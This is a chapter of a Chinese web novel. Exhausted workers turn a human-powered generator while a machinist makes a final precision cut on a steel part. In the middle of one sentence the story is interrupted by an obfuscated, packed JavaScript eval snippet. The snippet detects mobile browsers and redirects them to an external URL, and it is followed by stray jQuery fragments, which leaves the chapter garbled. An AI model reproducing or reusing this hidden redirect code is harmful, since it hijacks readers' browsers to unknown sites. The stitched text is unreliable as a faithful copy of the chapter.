第220章 最后的工匠

作品:《被儿女冻死后,窝囊老爹重生了

    狂欢的余烬尚未冷却,战争的下一阶段已然打响。


    车间里再没有一丝喧嚣,取而代之的是一种比死亡更加沉重的、被极限压榨出的寂静。


    空气中弥漫着汗水蒸发的酸腐气息,混杂着滚烫的机油味和金属被切割时特有的焦糊味,形成了一种独属于这座绝境熔炉的、悲壮而肃杀的氛围。


    唯一的声源,来自车间中央那座狰狞的血肉磨盘。


    “嗬……嗬……嗬……”


    沉重而压抑的喘息声,取代了之前慷慨激昂的号子,构成了一种稳定而又令人心悸的节拍。


    十几个赤裸着上身的汉子,如同被无形锁链拴在磨盘上的牲畜,机械地、麻木地迈动着双腿。


    他们的每一步,都仿佛要将脚下的水泥地踩裂;他们的每一次呼吸,都像是在从滚烫的肺里撕扯出最后一点空气。


    汗水早已流尽,从毛孔中渗出的,是几近干涸的体液,在他们古铜色的脊背上留下一道道白色的盐渍。


    江卫国就站在这个残酷循环的旁边,他那张布满沟壑的脸庞在昏黄的灯光下显得格外冷硬,像一尊沉默的监工石像。


    他的眼神锐利如鹰,死死盯着每一个人的状态。


    “下来!”


    他突然低吼一声,伸手抓住一个脚步已然踉跄、眼神开始涣散的年轻工人,用不容抗拒的力量将他从推杆上扯了下来。


    那年轻人双腿一软,甚至来不及发出一声呻吟,便直挺挺地向后倒去,陷入了深度的昏厥。


    早已等候在一旁的另一人,则在同一时间怒吼着补上了空位,用肩膀死死抵住那根冰冷的钢管,没有让磨盘的转速出现哪怕一丝一毫的迟滞。


    没有人说话,没有人抱怨。


    在这场用生命作为燃料的豪赌中,每一个零件的更换,都进行得冷酷而高效。


    而在这座血肉磨盘所驱动的光明中心,另一场更为精密的战争,正在方寸之间展开。


    丁建中独自一人,肃立于那台“洪荒机床”之前。


    那盏唯一的、由众人意志点亮的灯泡,就悬挂在他的头顶,投下一片圆形的光晕。


    光晕之内,机床的每一个细节都清晰可见;光晕之外,则是浓得化不开的黑暗。


    他就站在这光明与黑暗的交界线上,仿佛一个被聚光灯锁定的、孤独的舞台主角。


    他面前的卡盘上,正牢牢固定着一块其貌不扬的特种钢块。


    这便是他们从废弃设备上拆解下来的、唯一一块符合强度要求的原材料,也是那颗决定所有人命运的“强心”核心的雏形。


    路承舟站在他的身后,如同一道影子。


    他没有说话,只是用一根尖锐的铁钉,在那钢块的表面,划出了几道极其精准的、代表着最终尺寸的刻线。


    这便是图纸。


    最原始,也最致命的图纸。


    丁建中深吸了一口气,缓缓伸出双手。


    那双被布条粗暴包裹的手,此刻看不见一丝伤痕,也感觉不到一丝疼痛。


    他握住了冰冷的操纵手柄,闭上了眼睛。


    一瞬间,外界的一切嘈杂——磨盘的转动声、工人的喘息声、甚至是自己心脏的跳动声――都从他的世界里消失了。


    他的灵魂,仿佛通过那双粗糙的手,彻底融入了这台冰冷的机器之中。


    他能清晰地“听”到轴承旋转的低吟,“看”到齿轮啮合的轨迹,“闻”到刀具与金属摩擦的温度。


    这台机器,活了。


    它成了他身体的一部分。


    他猛地睁开双眼,眼中的浑浊与疲惫一扫而空,只剩下一种如同鹰隼般锐利、如同寒潭般沉静的绝对专注。


    “嗡――”他推动手柄,机床的刀塔精准地向前移动,那枚闪烁着寒光的硬质合金刀头,稳稳地停在了距离钢块表面仅有半毫米的地方。


    分毫不差。


    “吱!”


    一声尖锐到足以刺破耳膜的金属尖啸,骤然响起!


    刀头切入了旋转的钢块,刹那间,赤红色的、滚烫的铁屑如同绚烂的烟火,向外飞溅而出。


    最后的加工,开始了!


    丁建中的动作,流畅得不像一个血肉之躯,倒像是一台由无数精密零件构成的自动化设备。


    他的左手控制着横向进刀,右手则控制着纵向走刀。


    两只手的配合天衣无缝,每一次的移动都精确到了微米的级别。


    那块粗糙的钢块,正在他的手下,以肉眼可见的速度发生着蜕变。


    一层层多余的金属被剥离,粗糙的表面变得光滑如镜,一个蕴含着工业美感的精密轮廓,正在顽石中被一点点唤醒。


    时间,在金属的尖啸声中,被拉长又被压缩。


    没有人知道过去了多久。


    推动磨盘的工人已经换了三轮,倒在地上的人越来越多。


    江卫国甚至不得不亲自上阵,用他那副老迈却依旧坚实的身躯,填补着一个又一个倒下的空缺。


    灯光,开始出现极其细微的、不为人察觉的闪烁。


    那是人力发电机


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470899|183469||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    输出功率不稳的征兆,是这群凡人的体能,即将被彻底榨干的最后警报。


    “最后一刀。”


    路承舟冰冷的声音,如同法官的判决,在丁建中的耳边响起。


    丁建中握着手柄的手,猛地一紧。


    他知道,这是最关键的一步,是决定这颗心脏能否完美嵌入“强心”装置的、决定性的尺寸精加工。


    成,则一步登天。


    败,则前功尽棄。


    他抬起头,看了一眼头顶那盏似乎变得有些黯淡的灯泡,又看了一眼身后那群如同行尸走肉般、仅凭本能推动着磨盘的兄弟。


    他缓缓地吐出一口浊气。


    汗水,已经将他眼前的视线彻底模糊。


    他没有去擦,因为他知道,此刻的他,早已不再需要用眼睛去看。


    他将整个人的精神,都灌注进了指尖。


    刀具,再次向前。


    这一次,它的移动变得无比缓慢,仿佛跨越了一个世纪。


    “吱――”那不再是尖啸,而是一种近乎于打磨的、细腻而悠长的吟唱。


    一缕细如发丝、却连绵不绝的银亮铁屑,从刀尖下缓缓卷曲、延伸而出。


    那是这颗钢铁之心,最后的啼哭。


    当刀尖终于走完最后一程,当那缕银丝悄然断裂,丁建中如同被抽走了所有的骨头,猛地向后一仰,整个人虚脱般地靠在了机床之上。


    他大口大口地喘着粗气,胸膛剧烈起伏,仿佛要将自己的肺都咳出来。


    加工,完成了。


    路承舟第一时间冲上前,他没有去看那件近乎完美的艺术品,而是直接从旁边的冷却水桶里舀起一瓢水,摸索着找到了一个简陋的开关。


    “啪嗒。”


    伴随着一声轻响,机床的动力被切断。


    那盏支撑了所有人信念的灯泡,也随之骤然熄灭。


    车间,瞬间被无边的黑暗,彻底吞噬。


    那座失去了动力来源的血肉磨盘,在发出一阵不甘的呻吟后,也缓缓地、缓缓地,停止了转动。


    一切,都结束了。


    黑暗中,只剩下几十道粗重而疲惫的喘息声,交织成一片绝望的交响。


    他们成功了吗?


    没有人知道。


    那颗心脏,真的能用吗?


    没有人敢问。


    就在这死一般的沉寂中,一个冰冷而清晰的声音,穿透了黑暗,精准地落入每个人的耳中。


    “刘福生。”


    “淬火。”